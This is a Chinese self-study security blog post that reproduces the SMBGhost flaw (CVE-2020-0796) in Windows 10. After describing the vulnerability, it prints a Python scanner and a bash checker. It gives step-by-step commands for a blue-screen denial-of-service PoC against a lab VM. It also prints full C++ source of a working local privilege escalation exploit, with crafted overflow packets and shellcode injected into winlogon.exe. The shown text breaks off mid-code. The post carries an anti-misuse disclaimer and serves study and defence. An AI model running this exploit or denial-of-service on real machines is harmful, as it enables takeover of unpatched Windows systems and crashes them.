這是做者的網絡安全自學教程系列,主要是關於安全工具和實踐操做的在線筆記,特分享出來與博友們學習,但願您們喜歡,一塊兒進步。前文分享了hack the box的OpenAdmin題目,結合Nmap、Gobuster、蟻劍等工具拿取管理員權限。本文將詳細講解SMBv3服務遠程代碼執行漏洞(CVE-2020-0796),攻擊者可能利用此漏洞遠程無需用戶驗證,經過發送構造特殊的惡意數據致使在目標系統上執行惡意代碼,從而獲取機器的徹底控制,利用的端口還是445。本文是一篇CVE漏洞還原的基礎性文章,但願對您有所幫助。php
做者做爲網絡安全的小白,分享一些自學基礎教程給你們,主要是關於安全工具和實踐操做的在線筆記,但願您們喜歡。同時,更但願您能與我一塊兒操做和進步,後續將深刻學習網絡安全和系統安全知識並分享相關實驗。總之,但願該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!若是文章對您有幫助,將是我創做的最大動力,點贊、評論、私聊都可,一塊兒加油喔~html
文章目錄
PS:本文參考了github、安全網站和參考文獻中的文章(詳見參考文獻),並結合本身的經驗和實踐進行撰寫,也推薦你們閱讀參考文獻。python
做者的github資源:
軟件安全:https://github.com/eastmountyxz/Software-Security-Course
其餘工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CVE工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB
ios
聲明:本人堅定反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡須要咱們共同維護,更推薦你們瞭解它們背後的原理,更好地進行防禦。git
前文學習:
[網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網絡安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登陸加密入門筆記
[網絡安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網絡安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網絡安全自學篇] 五.IDA Pro反彙編工具初識及逆向工程解密實戰
[網絡安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網絡安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網絡安全自學篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
[網絡安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、文件屬性
[網絡安全自學篇] 十.論文之基於機器學習算法的主機惡意代碼
[網絡安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網絡安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網絡安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數據流追蹤和圖像抓取(二)
[網絡安全自學篇] 十四.Python攻防之基礎常識、正則表達式、Web編程和套接字通訊(一)
[網絡安全自學篇] 十五.Python攻防之多線程、C段掃描和數據庫編程(二)
[網絡安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防禦
[網絡安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網絡安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網絡安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網絡安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網絡安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網絡安全自學篇] 二十二.Web滲透之網站信息、域名信息、端口信息、敏感信息及指紋信息收集
[網絡安全自學篇] 二十三.基於機器學習的惡意請求識別及安全領域中的機器學習
[網絡安全自學篇] 二十四.基於機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防護初探
[網絡安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令行調用
[網絡安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求參數設置(一)
[網絡安全自學篇] 二十八.文件上傳漏洞和Caidao入門及防護原理(一)
[網絡安全自學篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防護原理(二)
[網絡安全自學篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防護(三)
[網絡安全自學篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網絡安全自學篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網絡安全自學篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網絡安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啓動計算機
[網絡安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網絡安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟件自啓動劫持
[網絡安全自學篇] 三十七.Web滲透提升班之hack the box在線靶場註冊及入門知識(一)
[網絡安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網絡安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網絡安全自學篇] 四十.phpMyAdmin 4.8.1後臺文件包含漏洞復現及詳解(CVE-2018-12613)
[網絡安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網絡安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網絡安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網絡安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網絡安全自學篇] 四十五.病毒詳解及批處理病毒製做(自啓動、修改密碼、定時關機、藍屏、進程關閉)
[網絡安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行文件簽名復現
[網絡安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書籤名及HTTPS網站劫持
[網絡安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、註冊表及黑客經常使用DOS命令
[網絡安全自學篇] 四十九.Procmon軟件基本用法及文件進程、註冊表查看
[網絡安全自學篇] 五十.虛擬機基礎之安裝XP系統、文件共享、網絡快照設置及Wireshark抓取BBS密碼
[網絡安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網絡安全自學篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護GS機制
[網絡安全自學篇] 五十三.Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
[網絡安全自學篇] 五十四.Windows漏洞利用之基於SEH異常處理機制的棧溢出攻擊及shell提取
[網絡安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP並獲取Shell
[網絡安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網絡安全自學篇] 五十七.PE文件逆向之什麼是數字簽名及Signtool簽名工具詳解(一)
[網絡安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網絡安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網絡安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和經常使用滲透命令
[網絡安全自學篇] 六十一.PE文件逆向之數字簽名詳細解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網絡安全自學篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結構修改(三)
[網絡安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
github
前文欣賞:
[滲透&攻防] 一.從數據庫原理學習網絡攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法
[滲透&攻防] 三.數據庫之差別備份及Caidao利器
[滲透&攻防] 四.詳解MySQL數據庫攻防及Fiddler神器分析數據包
正則表達式
一.漏洞描述
基本描述:
2020年3月11日,某國外安全公司發佈了一個近期微軟安全補丁包所涉及漏洞的綜述,其中談到了一個威脅等級被標記爲Critical的SMB服務遠程代碼執行漏洞(CVE-2020-0796)。攻擊者可能利用此漏洞遠程無需用戶驗證經過發送構造特殊的惡意數據致使在目標系統上執行惡意代碼,從而獲取機器的徹底控制。
算法
微軟SMBv3(Server Message Block 3.0)服務遠程代碼執行漏洞(CVE-2020-0796)可被攻擊者利用,實現無須權限便可執行遠程代碼,受攻擊的目標系統只需開機在線便可能被入侵。該漏洞後果十分接近永恆之藍系列,存在被WannaCry等勒索蠕蟲利用的可能,攻擊者能夠構造特定的網頁、壓縮包、共享目錄、Office文檔等多種方式觸發漏洞進行攻擊,對存在該漏洞的Windows主機形成嚴重威脅。shell
目前奇安信息威脅情報中心紅雨滴團隊已經確認漏洞的存在,利用此漏洞能夠穩定地致使系統崩潰,不排除執行任意代碼的可能性,因爲漏洞無需用戶驗證的特性,可能致使相似WannaCry攻擊那樣蠕蟲式的傳播。2020年3月12日微軟發佈了相應的安全補丁,強烈建議用戶當即安裝補丁以避免受此漏洞致使的風險。2020年3月14日,已有可致使受影響系統藍屏崩潰的漏洞利用POC在公開渠道發佈,能夠穩定地致使系統遠程拒絕服務。數據庫
3月22日奇安信代碼安全團隊發佈了針對此漏洞的遠程無損掃描器,能夠幫助網絡管理員快速地識別存在此漏洞的系統,歡迎使用。3月30日公開渠道出現利用此漏洞的本地提權利用代碼,奇安信驗證可用,本地攻擊者能夠利用漏洞從普通用戶權限提高到系統權限。
參考文獻: 奇安信威脅情報中心紅雨滴團隊的分析報告
影響版本:
該漏洞屬於遠程代碼執行漏洞,漏洞主要影響Windows10的系統及應用版本(1903和1909),包括32位、64位的家用版、專業版、企業版、教育版。具體以下:
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
漏洞原理:
在微軟SMBv3遠程代碼執行漏洞中,SMB 3.1.1協議處理壓縮消息時,對其中的數據沒有通過安全檢查,直接使用可能引起內存破壞漏洞,從而被攻擊者利用遠程執行任意代碼。攻擊者經過發送特殊構造的數據包觸發漏洞,無需用戶驗證就可能控制目標系統,同時影響服務器與客戶端系統。
該漏洞存在於Windows的SMBv3.0(文件共享與打印服務)中,利用的端口是445。 當SMBv3.0處理惡意製做的壓縮數據包時,因爲SMB沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓,並無檢查長度是否合法,最終致使整數溢出。遠程未經認證的攻擊者就可能利用此漏洞在應用程序的上下文中執行任意代碼,系統受到非受權控制。
漏洞利用:
- 本地EXP提權:https://github.com/danigargu/CVE-2020-0796
- SMB掃描工具:https://github.com/ollypwn/SMBGhost
- POC藍屏攻擊: https://github.com/eerykitty/CVE-2020-0796-PoC
- Python POC版本:https://github.com/ZecOps/CVE-2020-0796-LPE-POC
- 漏洞檢測工具:https://github.com/joaozietolie/CVE-2020-0796-Checker
- 做者收集工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB
二.Win10本地提權
第一個實驗是利用CVE-2020-0796漏洞進行本地提取,攻擊者利用該漏洞從普通用戶權限提高到系統權限。實驗代碼採用C++實現,主要執行EXE程序。
參考代碼:https://github.com/danigargu/CVE-2020-0796
1.開啓445端口
首先須要開啓445端口。該端口和13五、13七、13八、13九、3389都是常見的高危端口,你們須要注意防護。做爲安全初學者,若是指定端口都未開啓或關閉,談何後續的實驗及防護呢?因爲做者被該端口困擾了一段時間,因此簡單分享一些基礎知識,大佬勿噴~
第一步,Windows查看某個端口是否開啓。
- telnet 127.0.0.1 455
顯示鏈接失敗
- netstat -ano -p tcp | find 「445」 >nul 2>nul && echo 445端口已開啓 || echo 445未開啓
445端口顯示未開啓,而3389端口顯示已開啓
- netstat -ano
未顯示TCP開啓445端口
第二步,高級安全入站規則設置445端口容許。
點擊「防火牆」->「高級設置」。
設置「入站規則」->「新建規則」->「端口」設置。
設置TCP特定端口445,容許鏈接和應用全部規則。
設置成功以後以下圖所示,在測試445端口是否成功。此時仍然可能顯示未開啓。
第三步,註冊表中新建SMBDeviceEnabled選項。
在註冊表中查看以下路徑,發現沒有SMBDeviceEnabled選項。
計算機\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
在右邊空白處右擊新建「QWORD(32位)值」,而後重命名爲「SMBDeviceEnabled」。
再把這個子鍵的值改成1。可是做者的445端口仍然顯示未開啓,哎,本身真是菜得摳腳~
第四步,啓用文件和打印機共享,開啓Server服務。
最終緣由是Server服務未開啓。Server支持計算機經過網絡的文件、打印、和命名管道共享。若是服務中止,這些功能不可用。若是服務被禁用,任何直接依賴於此服務的服務將沒法啓動。
「網絡和共享中心」->「高級共享設置」。
在運行中輸入「services.msc」打開服務,開啓Server。
Server開啓後終於成功打開445端口。
重啓計算機顯示445開啓。
注意:實驗完成以後建議關閉445端口,或馬上打補丁。
2.SMBGhost漏洞掃描
接着咱們嘗試用 「https://github.com/ollypwn/SMBGhost」 代碼掃描是否存在該漏洞,Win10注意關閉防火牆。運行結果以下圖所示,表示存在CVE-2020-0796漏洞。
- python scanner.py 192.168.0.105
- pip install netaddr 安裝擴展包
掃描程序僅用於測試服務器是否易受攻擊,它經過協商請求檢查SMBv3.1.1協議和壓縮功能,源代碼以下所示。該漏洞主要是因爲SMBv3協議在處理惡意的壓縮數據包時出錯所形成的,它可以讓遠程且未經身份驗證的攻擊者在目標系統上執行任意代碼。
scanner.py
import socket import struct import sys from netaddr import IPNetwork pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' subnet = sys.argv[1] #subnet = '192.168.44.141' for ip in IPNetwork(subnet): sock = socket.socket(socket.AF_INET) sock.settimeout(3) try: sock.connect(( str(ip), 445 )) except: sock.close() continue sock.send(pkt) nb, = struct.unpack(">I", sock.recv(4)) res = sock.recv(nb) if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00": #print(f"{ip} Not vulnerable.") print("%s Not vulnerable." % ip) else: #print(f"{ip} vulnerable") print("%s Vulnerable" % ip)
3.本地EXP提取
第一步,運行C++代碼(sln程序),生成以下圖所示exe程序。
- cve-2020-0796-local.exe
第二步,在運行中輸入「winver」命令檢查Windows版本,必須是Win10 1903或1909。
顯示以下圖所示,做者的未1909。
第三步,用管理員權限運行CMD(命令提示符),輸入「whoami」。
- 輸出結果爲普通用戶權限:desktop-k…86\xxxxxx
第四步,用管理員打開PowerShell,運行exe程序提權。
按下組合鍵Windows+R以打開運行窗口,輸入powershell會以當前用戶的權限去執行。
若是你想要從普通模式轉至管理員模式,輸入如下PowerShell命令而後按下回車鍵。
- Start-Process powershell -Verb runAs
輸入以下命令運行EXE程序。
- D:
- cd D:\SMBGhost-master\CVE-2020-0796-master\cve-2020-0796-local\x64\Debug
- .\cv 按TAB鍵自動補齊 .\cve-2020-0796-local.exe
- 成功運行程序
第五步,此時EXE成功運行並利用SMB漏洞。在CMD中輸入「whoami」命令,能夠看到普通用戶權限提高至管理員權限。
- 普通權限:desktop-k…86\xxxxxx
- 管理員權限:nt authority\system
系統管理員賬戶:許多服務和Windows進程須要在內部登陸 (例如在Windows安裝過程當中),系統賬戶就是爲該目的設計的。它是內部賬戶,不顯示在用戶管理器,也沒法添加到任何組,而且不能分配用戶權限。默認狀況下,系統賬戶授予徹底控制NTFS捲上的全部文件。在此係統賬戶具備做爲管理員賬戶相同的功能權限。
普通管理員帳戶:不可以在系統內部登陸。對於文件系統,管理員帳戶和SYSEM帳戶具備相同的權限。可是對於一些服務和進程,咱們須要使用系統帳戶而非管理員帳戶,由於這些服務和進程要和系統交互,須要內部登陸。
在執行計劃任務時,若是咱們使用NT AUTHORITY\SYSTEM帳戶,那麼是不須要輸入密碼的。可是使用管理員帳戶,咱們必須輸入密碼。通常使用系統帳戶是爲了防止管理員改變密碼後任務沒法執行。對於通常的操做,可使用任何一個帳戶但仍是建議您使用管理員或者普通用戶執行。若是和進程或者服務有關的話,您可使用系統帳戶。
Process Explorer打開的提權進程以下圖所示:
自此,本地提權實驗成功,實驗結束建議關閉445端口或完善補丁,切記。C++代碼及原理將在文章的第四部分詳細講解。
三.虛擬機藍屏攻擊
1.環境搭建
- 受害機:Windows 10 1903 64位專業版
- 攻擊機:Kali系統
第一步,在虛擬機中安裝Windows 10系統和Kali系統。
運行中輸入「winver」查看版本信息爲1903。
第二步,虛擬機兩個系統之間可以相互通訊。
- Kali:192.168.44.138
- Win XP:192.168.44.140
第三步,打開Windows 10系統,肯定445端口開啓。以下圖所示,在CMD中輸入「netstat -ano」查看端口445是否打開。開啓方法前面已詳細講解。
第四步,關閉Windows系統的防火牆。
注意,某些狀況系統已打過補丁,還須要刪除補丁KB4551762才能成功實驗。做者也存在一個疑問,採用Win10 32位 1903版本藍屏攻擊總失敗,Why?
刪除後重啓計算機便可。
2.攻擊實驗
第一步,採用scanner.py或bash文件掃描該漏洞。這裏採用另外一種方法,參考資源:https://github.com/joaozietolie/CVE-2020-0796-Checker
- 上傳文件至Kali系統,做者採用文件共享
- chmod +x CVE-2020-0796-Checker.sh
- bash CVE-2020-0796-Checker.sh -t 192.168.44.140
CVE-2020-0796-Checker.sh
#!/bin/bash NC='\033[0m' RED='\033[0;31m' GREEN='\033[0;32m' #Code by João Zietolie :) while getopts "t:" OPTION; do case "${OPTION}" in t) target="${OPTARG}";; esac done if [[ "$target" > "0" ]]; then echo "Checking for SMB v3.11 in $target ..." result=$(nmap -p445 --script smb-protocols -Pn -n $target | grep -o 3.11) if [[ "$result" == '3.11' ]]; then echo -e "$target - ${RED}FOUND 3.11 VERSION - POSSIBLY VULNERABLE TO CVE-2020-0796" ${NC} else echo -e "$target - ${GREEN}There is no SMB v3.11 - possibly not vulnerable (Port 445 can be filtered or closed)" ${NC} fi else echo -e "${RED}USAGE: bash CVE-2020-0796-Checker.sh -t IP${NC}" fi
第二步,從github下載POC藍屏攻擊代碼至Kali系統。
- https://github.com/eerykitty/CVE-2020-0796-PoC
- 命令:git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
第三步,安裝擴展包並實現POC藍屏攻擊。
- pip install ntlm_auth
- python CVE-2020-0796.py 192.168.44.140
此時,Win10系統藍屏重啓,以下圖所示。做者又有一個疑問,如何獲取Shell而不藍屏呢?
四.漏洞緣由分析
根據安全研究人員分析,該漏洞是一個整數溢出,發生在SMB服務驅動srv2.sys的Srv2DecompressData函數中。通過研究,研究人員成功證實了CVE-2020-0796漏洞能夠被用於本地權限提高。不過須要注意的是,因爲API的依賴問題,這個exploit被限制於中等完整性級別(integrity level)。
漏洞成因推薦以下文章:
安全人員發佈利用CVE-2020-0796實現提權限的PoC - NOSEC
CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 - 曉得哥
Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
CVE-2020-0796本地利用簡析 - goabout2
1.C++代碼解析
exploit.cpp
/* * CVE-2020-0796 LPE * * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com * Date: 03/29/2020 * **/ #include <stdio.h> #include <stdint.h> #include <winsock2.h> #include <ws2tcpip.h> #include <windows.h> #include <TlHelp32.h> #include "ntos.h" #pragma comment(lib, "ws2_32.lib") ULONG64 get_handle_addr(HANDLE h) { ULONG len = 20; NTSTATUS status = (NTSTATUS)0xc0000004; PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL; do { len *= 2; pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len); status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len); } while (status == (NTSTATUS)0xc0000004); if (status != (NTSTATUS)0x0) { printf("NtQuerySystemInformation() failed with error: %#x\n", status); return 1; } DWORD mypid = GetProcessId(GetCurrentProcess()); ULONG64 ptrs[1000] = { 0 }; for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) { PVOID object = pHandleInfo->Handles[i].Object; ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue; DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId; if (pid != mypid) continue; if (handle == (ULONG_PTR)h) return (ULONG64)object; } return -1; } ULONG64 get_process_token() { HANDLE token; HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (proc == INVALID_HANDLE_VALUE) return 0; OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); ULONG64 ktoken = get_handle_addr(token); return ktoken; } int error_exit(SOCKET sock, const char* msg) { int err; if (msg != NULL) { printf("%s failed with error: %d\n", msg, WSAGetLastError()); } if ((err = closesocket(sock)) == SOCKET_ERROR) { printf("closesocket() failed with error: %d\n", WSAGetLastError()); } WSACleanup(); return EXIT_FAILURE; } int send_negotiation(SOCKET sock) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, /* session */ 0x00, 0x00, 0xC4, /* length */ /* SMB Header */ 0xFE, 0x53, 0x4D, 0x42, /* protocol id */ 0x40, 0x00, /* structure size, must be 0x40 */ 0x00, 0x00, /* credit charge */ 0x00, 0x00, /* channel sequence */ 0x00, 0x00, /* channel reserved */ 0x00, 0x00, /* command */ 0x00, 0x00, /* credits requested */ 0x00, 0x00, 0x00, 0x00, /* flags */ 0x00, 0x00, 0x00, 0x00, /* chain offset */ 0x00, 0x00, 0x00, 0x00, /* message id */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x00, 0x00, 0x00, 0x00, /* tree id */ 0x00, 0x00, 0x00, 0x00, /* session id */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* signature */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* SMB Negotiation Request */ 0x24, 0x00, /* structure size */ 0x08, 0x00, /* dialect count, 8 */ 0x00, 0x00, /* security mode */ 0x00, 0x00, /* reserved */ 0x7F, 0x00, 0x00, 0x00, /* capabilities */ 0x01, 0x02, 0xAB, 0xCD, /* guid */ 0x01, 0x02, 0xAB, 0xCD, 0x01, 0x02, 0xAB, 0xCD, 0x01, 0x02, 0xAB, 0xCD, 0x78, 0x00, /* negotiate context */ 0x00, 0x00, /* additional padding */ 0x02, 0x00, /* negotiate context count */ 0x00, 0x00, /* reserved 2 */ 0x02, 0x02, /* dialects, SMB 2.0.2 */ 0x10, 0x02, /* SMB 2.1 */ 0x22, 0x02, /* SMB 2.2.2 */ 0x24, 0x02, /* SMB 2.2.3 */ 0x00, 0x03, /* SMB 3.0 */ 0x02, 0x03, /* SMB 3.0.2 */ 0x10, 0x03, /* SMB 3.0.1 */ 0x11, 0x03, /* SMB 3.1.1 */ 0x00, 0x00, 0x00, 0x00, /* padding */ /* Preauth context */ 0x01, 0x00, /* type */ 0x26, 0x00, /* length */ 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x01, 0x00, /* hash algorithm count */ 0x20, 0x00, /* salt length */ 0x01, 0x00, /* hash algorith, SHA512 */ 0x00, 0x00, 0x00, 0x00, /* salt */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* pad */ /* Compression context */ 0x03, 0x00, /* type */ 0x0E, 0x00, /* length */ 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x02, 0x00, /* compression algorithm count */ 0x00, 0x00, /* padding */ 0x01, 0x00, 0x00, 0x00, /* flags */ 0x02, 0x00, /* LZ77 */ 0x03, 0x00, /* LZ77+Huffman */ 0x00, 0x00, 0x00, 0x00, /* padding */ 0x00, 0x00, 0x00, 0x00 }; if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } return err; } int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33, /* SMB Header */ 0xFC, 0x53, 0x4D, 0x42, /* protocol id */ 0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */ 0x02, 0x00, /* compression algorithm, LZ77 */ 0x00, 0x00, /* flags */ 0x10, 0x00, 0x00, 0x00, /* offset */ }; uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len); if (packet == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } memcpy(packet, buf, sizeof(buf)); *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC; *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC; memcpy(packet + sizeof(buf) + 0x10, buffer, len); if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } free(packet); return err; } void inject(void) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); uint8_t shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xff, 0xc2, // inc edx (1 = SW_SHOW) 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00 }; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int pid = -1; if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); if (pid < 0) { printf("Could not find process\n"); return; } printf("Injecting shellcode in winlogon...\n"); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProc == NULL) { printf("Could not open process\n"); return; } LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpMem == NULL) { printf("Remote allocation failed\n"); return; } if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) { printf("Remote write failed\n"); return; } if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) { printf("CreateRemoteThread failed\n"); return; } printf("Success! ;)\n"); } int main(int argc, char* argv[]) { WORD wVersionRequested = MAKEWORD(2, 2); WSADATA wsaData = { 0 }; SOCKET sock = INVALID_SOCKET; uint64_t ktoken = 0; int err = 0; printf("-= CVE-2020-0796 LPE =-\n"); printf("by @danigargu and @dialluvioso_\n\n"); if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) { printf("WSAStartup() failed with error: %d\n", err); return EXIT_FAILURE; } if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { printf("Couldn't find a usable version of Winsock.dll\n"); WSACleanup(); return EXIT_FAILURE; } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf("socket() failed with error: %d\n", WSAGetLastError()); WSACleanup(); return EXIT_FAILURE; } sockaddr_in client; client.sin_family = AF_INET; client.sin_port = htons(445); InetPton(AF_INET, "127.0.0.1", &client.sin_addr); if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) { return error_exit(sock, "connect()"); } printf("Successfully connected socket descriptor: %d\n", (int)sock); printf("Sending SMB negotiation request...\n"); if (send_negotiation(sock) == SOCKET_ERROR) { 